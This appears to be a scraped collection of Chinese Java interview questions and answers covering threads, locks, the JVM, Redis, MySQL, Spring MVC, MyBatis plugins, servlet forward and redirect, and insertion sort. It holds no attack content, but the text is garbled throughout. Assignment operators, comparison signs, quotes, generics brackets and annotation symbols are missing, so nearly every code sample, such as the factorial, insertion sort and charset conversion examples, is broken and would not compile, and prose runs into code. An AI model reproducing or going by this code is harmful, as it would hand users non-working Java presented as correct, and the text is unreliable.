public class TestCreateThreadByFutureTask {public static void main(String[] args) throws InterruptedException, ExecutionException {//通过构造 FutureTask(Callable callable) 构造函数创建 FutureTask匿名实现接口 Callable 接口FutureTaskString ft new FutureTaskString(new CallableString() {Overridepublic String call() throws Exception {return ConstXiong;}});//Lambda 方式实现
// FutureTaskString ft new FutureTaskString(() - ConstXiong);new Thread(ft).start();System.out.println(执行结果 ft.get());}
}执行结果
执行结果ConstXiong四、使用线程池创建、启动线程
package constxiong.concurrency.a006;import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;/*** 线程池的方式启动线程* author ConstXiong*/
public class TestCreateThreadByThreadPool {public static void main(String[] args) {// 使用工具类 Executors 创建单线程线程池ExecutorService singleThreadExecutor Executors.newSingleThreadExecutor();//提交执行任务singleThreadExecutor.submit(() - {System.out.println(单线程线程池执行任务);});//关闭线程池singleThreadExecutor.shutdown();}
}执行结果
单线程线程池执行任务乐观锁与悲观锁是什么
悲观锁(Pessimistic Lock)线程每次在处理共享数据时都会上锁其他线程想处理数据就会阻塞直到获得锁。乐观锁(Optimistic Lock)线程每次在处理共享数据时都不会上锁在更新时会通过数据的版本号等机制判断其他线程有没有更新数据。乐观锁适合读多写少的应用场景
两种锁各有优缺点
乐观锁适用于读多写少的场景可以省去频繁加锁、释放锁的开销提高吞吐量在写比较多的场景下乐观锁会因为版本不一致不断重试更新产生大量自旋消耗 CPU影响性能。这种情况下适合悲观锁
谈谈永久代
JDK 8 之前Hotspot 中方法区的实现是永久代Perm
JDK 7 开始把原本放在永久代的字符串常量池、静态变量等移出到堆JDK 8 开始去除永久代使用元空间Metaspace永久代剩余内容移至元空间元空间直接在本地内存分配。
Java跨平台运行的原理
1、.java 源文件要先编译成与操作系统无关的 .class 字节码文件然后字节码文件再通过 Java 虚拟机解释成机器码运行。
2、.class 字节码文件面向虚拟机不面向任何具体操作系统。
3、不同平台的虚拟机是不同的但它们给 JDK 提供了相同的接口。
4、Java 的跨平台依赖于不同系统的 Java 虚拟机。
Redis使用过程中的注意事项
主库压力很大可以考虑读写分离Master 最好不要做持久化工作如 RDB 内存快照和 AOF 日志文件。(Master 写内存快照save 命令调度 rdbSave 函数会阻塞主线程文件较大时会间断性暂停服务AOF 文件过大会影响 Master 重启的恢复速度)如果数据比较重要使用 AOF 方式备份数据设置合理的备份频率保证主从复制的速度和网络连接的稳定性主从机器最好在同一内网官方推荐使用 sentinel 集群配合多个主从节点集群解决单点故障问题实现高可用
Java语言有哪些注释的方式
1、单行注释 2、多行注释不允许嵌套 3、文档注释常用于类和方法的注释
形式如下
package constxiong.interview;/*** 文档注释* author ConstXiong* date 2019-10-17 12:32:31*/
public class TestComments {/*** 文档注释* param args 参数*/public static void main(String[] args) {//单行注释//System.out.print(1);/* 多行注释System.out.print(2);System.out.print(3);*/}}RequestMapping的作用是什么
RequestMapping 是一个注解用来标识 http 请求地址与 Controller 类的方法之间的映射。
可作用于类和方法上方法匹配的完整是路径是 Controller 类上 RequestMapping 注解的 value 值加上方法上的 RequestMapping 注解的 value 值。
/*** 用于映射url到控制器类或一个特定的处理程序方法.*/
//该注解只能用于方法或类型上
Target({ ElementType.METHOD, ElementType.TYPE })
Retention(RetentionPolicy.RUNTIME)
Documented
Mapping
public interface RequestMapping {/*** 指定映射的名称*/String name() default ;/*** 指定请求的路径映射,别名为path*/AliasFor(path)String[] value() default {};/** * 别名为 value使用 path 更加形象*/AliasFor(value)String[] path() default {};/*** 指定 http 请求的类型如GET, POST, HEAD, OPTIONS, PUT, PATCH, DELETE, TRACE. */RequestMethod[] method() default {};/*** 指定映射 http 请求的参数*/String[]params() default {};/*** 指定处理的 http 请求头*/String[] headers() default {};/*** 指定处理的请求提交内容类型Content-Type*/String[] consumes() default {};/*** 指定返回的内容类型仅当request请求头中的(Accept)类型中包含该指定类型才返回*/String[] produces() default {};
}指定 http 请求的类型使用
public enum RequestMethod {GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS, TRACE}switch能否作用在byte、long、String上
早期 JDKswitch(expr)expr 可以是 byte、short、char、intJDK 1.5 开始引入了枚举(enum)expr 也可以是枚举JDK 1.7 开始expr 还可以是字符串(String)长整型(long)是不可以的
为什么要用并发编程
“摩尔定律” 失效硬件的单元计算能力提升受限硬件上提高了 CPU 的核数和个数。并发编程可以提升 CPU 的计算能力的利用率。提升程序的性能如响应时间、吞吐量、计算机资源使用率等。并发程序可以更好地处理复杂业务对复杂业务进行多任务拆分简化任务调度同步执行任务。
Redis如何设置永久有效 PERSIST key持久化 key 和 value
Redis 在默认情况下会采用 noeviction 回收策略即不淘汰任何键值对当内存己满时只能提供读操作不能提供写操作
MySQL中DATETIME和TIMESTAMP的区别
存储精度都为秒
区别
DATETIME 的日期范围是 1001——9999 年TIMESTAMP 的时间范围是 1970——2038 年DATETIME 存储时间与时区无关TIMESTAMP 存储时间与时区有关显示的值也依赖于时区DATETIME 的存储空间为 8 字节TIMESTAMP 的存储空间为 4 字节DATETIME 的默认值为 nullTIMESTAMP 的字段默认不为空(not null)默认值为当前时间(CURRENT_TIMESTAMP)
String类的常用方法有哪些
String 类的常用方法
equals字符串是否相同equalsIgnoreCase忽略大小写后字符串是否相同compareTo根据字符串中每个字符的Unicode编码进行比较compareToIgnoreCase根据字符串中每个字符的Unicode编码进行忽略大小写比较indexOf目标字符或字符串在源字符串中位置下标lastIndexOf目标字符或字符串在源字符串中最后一次出现的位置下标valueOf其他类型转字符串charAt获取指定下标位置的字符codePointAt指定下标的字符的Unicode编码concat追加字符串到当前字符串isEmpty字符串长度是否为0contains是否包含目标字符串startsWith是否以目标字符串开头endsWith是否以目标字符串结束format格式化字符串getBytes获取字符串的字节数组getChars获取字符串的指定长度字符数组toCharArray获取字符串的字符数组join以某字符串连接某字符串数组length字符串字符数matches字符串是否匹配正则表达式replace字符串替换replaceAll带正则字符串替换replaceFirst替换第一个出现的目标字符串split以某正则表达式分割字符串substring截取字符串toLowerCase字符串转小写toUpperCase字符串转大写trim去字符串首尾空格
内部类可以引用它的外部类的成员吗有什么限制
内部类对象可以访问创建它的外部类对象的成员包括私有成员访问外部类的局部变量此时局部变量必须使用 final 修饰
介绍一下spring mvc
spring mvc 是 spring web mvcspring 框架的一部分一个 mvc 设计模型的表现层框架。
**具体参考4.2.9.RELEASE 版 spring mvc 官方文章 **
https://docs.spring.io/spring/docs/4.2.9.RELEASE/spring-framework-reference/htmlsingle/#mvc
以下摘自 https://blog.csdn.net/happy_meng/article/details/79089573
1、用户发送请求至前端控制器DispatcherServlet
2、DispatcherServlet收到请求调用HandlerMapping处理器映射器查找Handler。
3、处理器映射器根据请求url找到具体的处理器生成处理器对象及处理器拦截器(如果有则生成)一并返回给DispatcherServlet。
4、DispatcherServlet通过HandlerAdapter处理器适配器调用处理器
5、HandlerAdapter调用处理器Handler
6、Handler执行完成返回ModelAndView
7、HandlerAdapter将Handler执行结果ModelAndView返回给DispatcherServlet
8、DispatcherServlet将ModelAndView传给ViewReslover视图解析器ViewReslover根据逻辑视图名解析View
9、ViewReslover返回View
10、DispatcherServlet对View进行渲染视图即将模型数据填充至request域。
11、DispatcherServlet响应用户
DispatcherServlet前端控制器springmvc框架提供
作用接收请求响应结果
有了前端控制器减少各各组件之间的耦合性前端控制器相关于中央调度器。HandlerMapping 处理器映射器springmvc框架提供
作用根据url查找Handler比如根据xml配置、注解方式查找Handler**HandlerAdapter处理器适配器springmvc框架提供
作用执行Handler
不同类型的Handler有不同的HandlerAdapter好处可以通过扩展HandlerAdapter支持更多类型的HandlerHandler处理器由程序员开发
作用业务处理
实现开发中又称为controller即后端控制器
Handler的开发按照HandlerAdapter的接口规则去开发。
Handler处理后的结果是ModelAndView是springmvc的底层对象包括 Model和view两个部分。
view中只包括一个逻辑视图名为了方便开发起一个简单的视图名称。ViewReslover视图解析springmvc框架提供
作用根据逻辑视图名创建一个View对象包括真实视图物理地址
针对不同类型的view有不同类型的ViewReslover常用的有jsp视图解析器即jstlViewView视图由程序员开发jsp页面
作用将模型数据填充进来(将model数据填充到request域)显示给用户
view是一个接口实现类包括jstlView、freemarkerViewpdfView…Class类的作用是什么如何获取Class对象
Class 类是 Java 反射机制的起源和入口用于获取与类相关的各种信息提供了获取类信息的相关方法。 Class 类存放类的结构信息能够通过 Class 对象的方法取出相应信息类的名字、属性、方法、构造方法、父类、接口和注解等信息 对象名.getClass() 对象名.getSuperClass() Class.forName(“oracle.jdbc.driver.OracleDriver”); 类名.class Class c2 Student.class; Class c2 int.class 包装类.TYPE Class c2 Boolean.TYPE; Class.getPrimitiveClass() (Class)Class.getPrimitiveClass(“boolean”);
哪些是 GC Roots
在虚拟机栈栈帧中的本地变量表中引用的对象譬如各个线程被调用的方法堆栈中使用到的参数、局部变量、临时变量等。在方法区中类静态属性引用的对象譬如Java类的引用类型静态变量。在方法区中常量引用的对象譬如字符串常量池String Table里的引用。在本地方法栈中JNI即通常所说的Native方法引用的对象。Java虚拟机内部的引用如基本数据类型对应的Class对象一些常驻的异常对象比如 NullPointExcepiton、OutOfMemoryError等还有系统类加载器。所有被同步锁synchronized关键字持有的对象。反映 Java 虚拟机内部情况的 JMXBean、JVMTI中注册的回调、本地代码缓存等。
JDK和JRE有什么区别
JREJava Runtime Environment java 运行时环境。即java程序的运行时环境包含了 java 虚拟机java基础类库。
JDKJava Development Kit java 开发工具包。即java语言编写的程序所需的开发工具包。JDK 包含了 JRE同时还包括 java 源码的编译器 javac、监控工具 jconsole、分析工具 jvisualvm等。
递归计算n! package constxiong.interview;/*** 递归计算n的阶乘* author ConstXiong*/
public class TestRecursionNFactorial {public static void main(String[] args) {System.out.println(recursionN(5));}/*** 递归计算n的阶乘* param n* return*/private static int recursionN(int n) {if (n 1) {throw new IllegalArgumentException(参数必须大于0);} else if (n 1) {return 1;} else {return n * recursionN(n - 1);}}}什么是 MyBatis 的接口绑定有哪些实现方式
接口绑定就是把接口里的方法与对应执行的 SQL 进行绑定以及 SQL 执行的结果与方法的返回值进行转换匹配。
方式
接口与对应 namespace 的 xml 进行绑定接口方法名与 xml 中、、、 标签的 id 参数值进行绑定接口方法与方法上的 Select 或 Update 或 Delete 或 Insert 的注解及注解里 SQL 进行绑定
面向对象设计原则有哪些
单一职责原则 SRP开闭原则 OCP里氏替代原则 LSP依赖注入原则 DIP接口分离原则 ISP迪米特原则 LOD组合/聚合复用原则 CARP
其他原则可以看作是开闭原则的实现手段或方法开闭原则是理想状态
GB2312编码的字符串如何转换为ISO-8859-1编码 package constxiong.interview;import java.io.UnsupportedEncodingException;/*** 字符串字符集转换* author ConstXiong* date 2019-11-01 10:57:34*/
public class TestCharsetConvert {public static void main(String[] args) throws UnsupportedEncodingException {String str 爱编程;String strIso new String(str.getBytes(GB2312), ISO-8859-1);System.out.println(strIso);}
}linux指令-free
显示系统内存使用情况包括物理内存、swap 内存和内核 cache 内存
命令参数
-b 以Byte显示内存使用情况
-k 以kb为单位显示内存使用情况
-m 以mb为单位显示内存使用情况
-g 以gb为单位显示内存使用情况
-s间隔秒数 持续显示内存
-t 显示内存使用总合Redis如何设置密码
配置文件修改 requirepass 属性重启有效
指令设置密码为 123456无需重启
config set requirepass 123456设置验证密码为 654321登录完之后没有通过密码认证还是无法访问 Redis
auth 654321同步和异步有何异同分别在什么情况下使用
同步发送一个请求等待返回然后再发送下一个请求异步发送一个请求,不等待返回,随时可以再发送下一个请求
使用场景
如果数据存在线程间的共享或竞态条件需要同步。如多个线程同时对同一个变量进行读和写的操作当应用程序在对象上调用了一个需要花费很长时间来执行的方法并且不希望让程序等待方法的返回时就可以使用异步提高效率、加快程序的响应
HashMap的键值需要注意什么
HashMap 的 key 相等的条件是条件 1 必须满足条件2和3必须满足一个。
key 的 hash 值相等内存中是同一个对象即使用 判断 key 相等key 不为 null 且使用 equals 判断 key 相等
所以自定义类作为 HashMap 的 key需要注意按照自己的设计逻辑重写自定义类的 hashCode() 方法和 equals() 方法。
Redis集群支持最大节点数是多少
16384 个。原因如下
Redis 集群有 16384 个哈希槽每个 key 通过 CRC16 算法计算的结果对 16384 取模后放到对应的编号在 0-16383 之间的哈希槽集群的每个节点负责一部分哈希槽
使用对象的wait()方法需要注意什么
wait() 方法是线程间通信的方法之一必须在 synchronized 方法或 synchronized 修饰的代码块中使用否则会抛出 IllegalMonitorStateException只能在加锁的对象调用 wait() 方法加锁的对象调用 wait() 方法后线程进入等待状态直到在加锁的对象上调用 notify() 或者 notifyAll() 方法来唤醒之前进入等待的线程
Oracle怎么分页
Oracle 使用 rownum 进行分页
select col1,col2 from ( select rownum r,col1,col2 from tablename where rownum 20 )
where r 10MyBatis 插件的运行原理是什么
MyBatis 插件的运行是基于 JDK 动态代理 拦截器链实现
Interceptor 是拦截器可以拦截 Executor, StatementHandle, ResultSetHandler, ParameterHandler 四个接口InterceptorChain 是拦截器链对象定义在 Configuration 类中Invocation 是对方法、方法参数、执行对象和方法的执行的封装
拦截器的解析是在 XMLConfigBuilder 对象的 parseConfiguration 方法中
private void parseConfiguration(XNode root) {try {...pluginElement(root.evalNode(plugins));...} catch (Exception e) {throw new BuilderException(Error parsing SQL Mapper Configuration. Cause: e, e);}
}创建拦截器、设置属性、添加到 configuration 的拦截器链 InterceptorChain
private void pluginElement(XNode parent) throws Exception {if (parent ! null) {for (XNode child : parent.getChildren()) {String interceptor child.getStringAttribute(interceptor);//获取配置属性Properties properties child.getChildrenAsProperties();//根据配置类创建拦截器实例Interceptor interceptorInstance (Interceptor) resolveClass(interceptor).getDeclaredConstructor().newInstance();//设置拦截器的属性interceptorInstance.setProperties(properties);//添加拦截器到 configuration 的拦截器链 InterceptorChain 中 configuration.addInterceptor(interceptorInstance);}}
}所有的拦截器逻辑插入到四大核心接口
/*** author Clinton Begin*/
public class Configuration {//拦截器链protected final InterceptorChain interceptorChain new InterceptorChain();//参数处理public ParameterHandler newParameterHandler(MappedStatement mappedStatement, Object parameterObject, BoundSql boundSql) {//创建参数处理对象ParameterHandler parameterHandler mappedStatement.getLang().createParameterHandler(mappedStatement, parameterObject, boundSql);//将拦截器链中的拦截器拦截动态代理中的参数处理方法执行加入插件逻辑parameterHandler (ParameterHandler) interceptorChain.pluginAll(parameterHandler);return parameterHandler;}//结果集处理public ResultSetHandler newResultSetHandler(Executor executor, MappedStatement mappedStatement, RowBounds rowBounds, ParameterHandler parameterHandler,ResultHandler resultHandler, BoundSql boundSql) {//创建结果集处理对象ResultSetHandler resultSetHandler new DefaultResultSetHandler(executor, mappedStatement, parameterHandler, resultHandler, boundSql, rowBounds);//将拦截器链中的拦截器拦截动态代理中的结果集处理方法执行加入插件逻辑resultSetHandler (ResultSetHandler) interceptorChain.pluginAll(resultSetHandler);return resultSetHandler;}//数据库操作处理public StatementHandler newStatementHandler(Executor executor, MappedStatement mappedStatement, Object parameterObject, RowBounds rowBounds, ResultHandler resultHandler, BoundSql boundSql) {//创建数据库操作对象StatementHandler statementHandler new RoutingStatementHandler(executor, mappedStatement, parameterObject, rowBounds, resultHandler, boundSql);//将拦截器链中的拦截器拦截动态代理中的数据库操作方法执行加入插件逻辑statementHandler (StatementHandler) interceptorChain.pluginAll(statementHandler);return statementHandler;}//执行器处理public Executor newExecutor(Transaction transaction, ExecutorType executorType) {executorType executorType null ? defaultExecutorType : executorType;executorType executorType null ? ExecutorType.SIMPLE : executorType;//创建执行器Executor executor;if (ExecutorType.BATCH executorType) {executor new BatchExecutor(this, transaction);} else if (ExecutorType.REUSE executorType) {executor new ReuseExecutor(this, transaction);} else {executor new SimpleExecutor(this, transaction);}if (cacheEnabled) {executor new CachingExecutor(executor);}//将拦截器链中的拦截器拦截动态代理中的执行器方法执行加入插件逻辑executor (Executor) interceptorChain.pluginAll(executor);return executor;}}Plugin 类实现 InvocationHandler 接口完成动态代理
/*** author Clinton Begin*/
public class Plugin implements InvocationHandler {private final Object target;private final Interceptor interceptor;private final MapClass?, SetMethod signatureMap;private Plugin(Object target, Interceptor interceptor, MapClass?, SetMethod signatureMap) {this.target target;this.interceptor interceptor;this.signatureMap signatureMap;}public static Object wrap(Object target, Interceptor interceptor) {MapClass?, SetMethod signatureMap getSignatureMap(interceptor);Class? type target.getClass();Class?[] interfaces getAllInterfaces(type, signatureMap);if (interfaces.length 0) {return Proxy.newProxyInstance(type.getClassLoader(),interfaces,//这里包装注入拦截器对象new Plugin(target, interceptor, signatureMap));}return target;}Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {try {SetMethod methods signatureMap.get(method.getDeclaringClass());if (methods ! null methods.contains(method)) {//这里调用拦截器的 intercept 方法插入插件逻辑return interceptor.intercept(new Invocation(target, method, args));}return method.invoke(target, args);} catch (Exception e) {throw ExceptionUtil.unwrapThrowable(e);}}}Interceptor 接口配置文件中类需要实现的接口可以添加属性在方法执行前后添加自定义逻辑代码
/*** author Clinton Begin*/
public interface Interceptor {Object intercept(Invocation invocation) throws Throwable;default Object plugin(Object target) {return Plugin.wrap(target, this);}default void setProperties(Properties properties) {// NOP}}哪些集合类是线程安全的
VectorStackHashtablejava.util.concurrent 包下所有的集合类 ArrayBlockingQueue、ConcurrentHashMap、ConcurrentLinkedQueue、ConcurrentLinkedDeque…
MyISAM与InnoDB的区别
InnoDB 支持事务MyISAM 不支持事务InnoDB 支持行级锁MyISAM 支持表级锁InnoDB 支持 MVCC(多版本并发控制)MyISAM 不支持InnoDB 支持外键MyISAM 不支持MySQL 5.6 以前的版本InnoDB 不支持全文索引MyISAM 支持MySQL 5.6 及以后的版本MyISAM 和 InnoDB 存储引擎均支持全文索引InnoDB 不保存表的总行数执行 select count(*) from table 时 需要全表扫描MyISAM 用一个变量保存表的总行数查总行数速度很快InnoDB 是聚集索引数据文件是和索引绑在一起的必须要有主键 通过主键索引效率很高。辅助索引需要两次查询先查询到主键再通过主键查询到数据。主键太大其他索引也会很大MyISAM 是非聚集索引数据文件是分离的索引保存的是数据文件的指针主键索引和辅助索引是独立的
总结
InnoDB 存储引擎提供了具有提交、回滚、崩溃恢复能力的事务安全与 MyISAM 比 InnoDB 写的效率差一些并且会占用更多的磁盘空间以保留数据和索引MyISAM 不支持事务、也不支持外键优势是访问的速度快。对事务的完整性没有要求、以 SELECT 和 INSERT 为主的应用可以使用这个存储引擎
事务的四大特性
事务具备ACID四种特性ACID是Atomic原子性、Consistency一致性、Isolation隔离性和Durability持久性的英文缩写。
原子性Atomicity
事务最基本的操作单元要么全部成功要么全部失败不会结束在中间某个环节。事务在执行过程中发生错误会被回滚到事务开始前的状态就像这个事务从来没有执行过一样。
一致性Consistency
事务的一致性指的是在一个事务执行之前和执行之后数据库都必须处于一致性状态。如果事务成功地完成那么系统中所有变化将正确地应用系统处于有效状态。如果在事务中出现错误那么系统中的所有变化将自动地回滚系统返回到原始状态。
隔离性Isolation
指的是在并发环境中当不同的事务同时操纵相同的数据时每个事务都有各自的完整数据空间。由并发事务所做的修改必须与任何其他并发事务所做的修改隔离。事务查看数据更新时数据所处的状态要么是另一事务修改它之前的状态要么是另一事务修改它之后的状态事务不会查看到中间状态的数据。
持久性Durability
指的是只要事务成功结束它对数据库所做的更新就必须永久保存下来。即使发生系统崩溃重新启动数据库系统后数据库还能恢复到事务成功结束时的状态。
线程包括哪些状态状态之间是如何变化的
线程的生命周期
线程包括哪些状态的问题说专业一点就是线程的生命周期。 不同的编程语言对线程的生命周期封装是不同的。
Java 中线程的生命周期
Java 语言中线程共有六种状态。
NEW初始化状态RUNNABLE可运行 / 运行状态BLOCKED阻塞状态WAITING无限时等待TIMED_WAITING有限时等待TERMINATED终止状态 在操作系统层面Java 线程中的 BLOCKED、WAITING、TIMED_WAITING 是一种状态休眠状态。即只要 Java 线程处于这三种状态之一就永远没有 CPU 的使用权。
如图 Java 中线程的状态的转变
1. NEW 到 RUNNABLE 状态
Java 刚创建出来的 Thread 对象就是 NEW 状态不会被操作系统调度执行。从 NEW 状态转变到 RUNNABLE 状态调用线程对象的 start() 方法就可以了。
2. RUNNABLE 与 BLOCKED 的状态转变
synchronized 修饰的方法、代码块同一时刻只允许一个线程执行其他线程只能等待等待的线程会从 RUNNABLE 转变到 BLOCKED 状态。当等待的线程获得 synchronized 隐式锁时就又会从 BLOCKED 转变到 RUNNABLE 状态。在操作系统层面线程是会转变到休眠状态的但是在 JVM 层面Java 线程的状态不会发生变化即 Java 线程的状态会保持 RUNNABLE 状态。JVM 层面并不关心操作系统调度相关的状态因为在 JVM 看来等待 CPU 使用权操作系统层面处于可执行状态与等待 I/O操作系统层面处于休眠状态没有区别都是在等待某个资源都归入了 RUNNABLE 状态。Java 在调用阻塞式 API 时线程会阻塞指的是操作系统线程的状态并不是 Java 线程的状态。
3. RUNNABLE 与 WAITING 的状态转变
获得 synchronized 隐式锁的线程调用无参数的 Object.wait() 方法状态会从 RUNNABLE 转变到 WAITING调用 Object.notify()、Object.notifyAll() 方法线程可能从 WAITING 转变到 RUNNABLE 状态。调用无参数的 Thread.join() 方法。join() 是一种线程同步方法如有一线程对象 Thread t当调用 t.join() 的时候执行代码的线程的状态会从 RUNNABLE 转变到 WAITING等待 thread t 执行完。当线程 t 执行完等待它的线程会从 WAITING 状态转变到 RUNNABLE 状态。调用 LockSupport.park() 方法线程的状态会从 RUNNABLE 转变到 WAITING调用 LockSupport.unpark(Thread thread) 可唤醒目标线程目标线程的状态又会从 WAITING 转变为 RUNNABLE 状态。
4. RUNNABLE 与 TIMED_WAITING 的状态转变
Thread.sleep(long millis)Object.wait(long timeout)Thread.join(long millis)LockSupport.parkNanos(Object blocker, long deadline)LockSupport.parkUntil(long deadline)
TIMED_WAITING 和 WAITING 状态的区别仅仅是调用的是超时参数的方法。
5. RUNNABLE 到 TERMINATED 状态
线程执行完 run() 方法后会自动转变到 TERMINATED 状态执行 run() 方法时异常抛出也会导致线程终止Thread类的 stop() 方法已经不建议使用
forward和redirect的区别
forward转发redirect重定向。区别如下
浏览器 url 地址显示不同
服务端通过 forward 返回浏览器 url 地址不会发生变化服务器通过 redirect 返回浏览器会重新请求 url 地址会发生变化
前后台两者页面跳转的处理方式不同
forward 跳转页面是服务端进行页面跳转加载include新页面直接返回到浏览器redirect 跳转页面是服务端返回新的 url 地址浏览器二次发出 url 请求
参数携带情况不一样
forward 跳转页面会共享请求的参数到新的页面redirect 跳转页面属于一次全新的 http 请求无法共享上一次请求的参数
http 请求次数不同
forward 1次redirect 2次
新目标地址范围不同
forward 必须是同一个应用内的某个资源redirect 的新地址可以是任意地址
基于 servlet 实现
test servlet
package constxiong;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;/*** test servlet* author ConstXiong* date 2019-06-26 10:00:34*/
WebServlet(/test)
public class TestServlet extends HttpServlet {private static final long serialVersionUID 1L;public TestServlet() {}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {response.getWriter().write(This is test.);}protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {}}请求返回 redirect servlet
package constxiong;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;/*** redirect servlet* author ConstXiong* date 2019-06-26 10:00:34*/
WebServlet(/redirect)
public class RedirectServlet extends HttpServlet {private static final long serialVersionUID 1L;public RedirectServlet() {}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {response.sendRedirect(http://www.baidu.com);}protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {}}请求返回 forward servlet
package constxiong;import java.io.IOException;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;/*** forward servlet* author ConstXiong* date 2019-06-26 10:00:34*/
WebServlet(/forward)
public class ForwardServlet extends HttpServlet {private static final long serialVersionUID 1L;public ForwardServlet() {}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {request.getRequestDispatcher(/test).forward(request, response);//forward 跳转到 test 请求}protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {}}请求返回 ArrayList与LinkedList哪个插入性能高
LinkedList 插入性能高
ArrayList 是基于数组实现的添加元素时存在扩容问题扩容时需要复制数组消耗性能LinkedList 是基于链表实现的只需要将元素添加到链表最后一个元素的下一个即可
谈谈动态年龄判断
这里涉及到 -XX:TargetSurvivorRatio 参数Survivor 区的目标使用率默认 50即 Survivor 区对象目标使用率为 50%。 Survivor 区相同年龄所有对象大小的总和 (Survivor 区内存大小 * 这个目标使用率)时大于或等于该年龄的对象直接进入老年代。
当然这里还需要考虑参数 -XX:MaxTenuringThreshold 晋升年龄最大阈值
说说对于sychronized同步锁的理解
每个 Java 对象都有一个内置锁线程运行到非静态的 synchronized 同步方法上时自动获得实例对象的锁持有对象锁的线程才能运行 synchronized 同步方法或代码块时一个对象只有一个锁一个线程获得该锁其他线程就无法获得锁直到第一个线程释放锁。任何其他线程都不能进入该对象上的 synchronized 方法或代码块直到该锁被释放。释放锁是指持锁线程退出了 synchronized 同步方法或代码块类可以同时拥有同步和非同步方法只有同步方法没有同步变量和类在加锁时要明确需要加锁的对象线程可以获得多个锁同步应该尽量缩小范围
什么是活锁和饥饿
活锁
任务没有被阻塞由于某些条件没有满足导致一直重复尝试—失败—尝试—失败的过程。 处于活锁的实体是在不断的改变状态活锁有可能自行解开。
死锁是大家都拿不到资源都占用着对方的资源而活锁是拿到资源却又相互释放不执行。
解决活锁的一个简单办法就是在下一次尝试获取资源之前随机休眠一小段时间。
看一下我们之前的一个例子如果最后不进行随机休眠就会产生活锁现象就是很长一段时间两个线程都在不断尝试获取和释放锁。
package constxiong.concurrency.a023;import java.util.Random;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;/*** 测试 占有部分资源的线程进一步申请其他资源时如果申请不到主动释放它占有的资源破坏 不可抢占 条件* author ConstXiong* date 2019-09-24 14:50:51*/
public class TestBreakLockOccupation {private static Random r new Random(); private static Lock lock1 new ReentrantLock();private static Lock lock2 new ReentrantLock();public static void main(String[] args) {new Thread(() - {//标识任务是否完成boolean taskComplete false;while (!taskComplete) {lock1.lock();System.out.println(线程 Thread.currentThread().getName() 获取锁 lock1 成功);try {//随机休眠帮助造成死锁环境try {Thread.sleep(r.nextInt(30));} catch (Exception e) {e.printStackTrace();}//线程 0 尝试获取 lock2if (lock2.tryLock()) {System.out.println(线程 Thread.currentThread().getName() 获取锁 lock2 成功);try {taskComplete true;} finally {lock2.unlock();}} else {System.out.println(线程 Thread.currentThread().getName() 获取锁 lock2 失败);}} finally {lock1.unlock();}//随机休眠避免出现活锁try {Thread.sleep(r.nextInt(10));} catch (Exception e) {e.printStackTrace();}}}).start();new Thread(() - {//标识任务是否完成boolean taskComplete false;while (!taskComplete) {lock2.lock();System.out.println(线程 Thread.currentThread().getName() 获取锁 lock2 成功);try {//随机休眠帮助造成死锁环境try {Thread.sleep(r.nextInt(30));} catch (Exception e) {e.printStackTrace();}//线程2 尝试获取锁 lock1if (lock1.tryLock()) {System.out.println(线程 Thread.currentThread().getName() 获取锁 lock1 成功);try {taskComplete true;} finally {lock1.unlock();}} else {System.out.println(线程 Thread.currentThread().getName() 获取锁 lock1 失败);}} finally {lock2.unlock();}//随机休眠避免出现活锁try {Thread.sleep(r.nextInt(10));} catch (Exception e) {e.printStackTrace();}}}).start();}}饥饿
一个线程因为 CPU 时间全部被其他线程抢占而得不到 CPU 运行时间导致线程无法执行。
产生饥饿的原因 优先级线程吞噬所有的低优先级线程的 CPU 时间 其他线程总是能在它之前持续地对该同步块进行访问线程被永久堵塞在一个等待进入同步块 其他线程总是抢先被持续地获得唤醒线程一直在等待被唤醒 package constxiong.concurrency.a024; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; /** 测试线程饥饿 author ConstXiong */ public class TestThreadHungry { private static ExecutorService es Executors.newSingleThreadExecutor(); public static void main(String[] args) throws InterruptedException, ExecutionException { Future future1 es.submit(new Callable() { Override public String call() throws Exception { System.out.println(“提交任务1”); Future future2 es.submit(new Callable() { Override public String call() throws Exception { System.out.println(“提交任务2”); return “任务 2 结果”; } }); return future2.get(); } }); System.out.println(“获取到” future1.get()); } }
打印结果如下线程池卡死。线程池只能容纳 1 个任务任务 1 提交任务 2任务 2 永远得不到执行。
提交任务1插入排序(Insertion Sort)
思路
将数组分为两个区域已排序、未排序。初始已排序区域只第一个元素取未排序的区域的元素在已排序的区域找到合适的位置插入保证已排序区域的数据一直有序重复这个过程直到未排序区域为空
步骤
从数组第二个数开始往后逐个取数跟前面的数进行比较当所取的数比前面的数大停止比较取一下个进行比较当所取的数比前面的数小把比所取数大的数都往后挪一个直到所取数大于被比较的数停止最后把所取数插入到比它小的数的右边
代码
package constxiong.interview.algorithm;/*** 插入排序* author ConstXiong* date 2020-04-08 09:35:40*/
public class InsertionSort {public static void main(String[] args) {int [] array {33, 22, 1, 4, 25, 88, 71, 4};insertionSort(array);}/*** 插入排序*/private static void insertionSort(int[] array) {print(array);for (int i 1; i array.length; i) {int j i - 1;int value array[i];for (; j 0; j--) {if (array[j] value) {array[j1] array[j];} else {break;}}array[j1] value;print(array);}}/*** 打印数组* param array*/private static void print(int[] array) {for(int i : array) {System.out.print(i );}System.out.println();}}打印
33 22 1 4 25 88 71 4
22 33 1 4 25 88 71 4
1 22 33 4 25 88 71 4
1 4 22 33 25 88 71 4
1 4 22 25 33 88 71 4
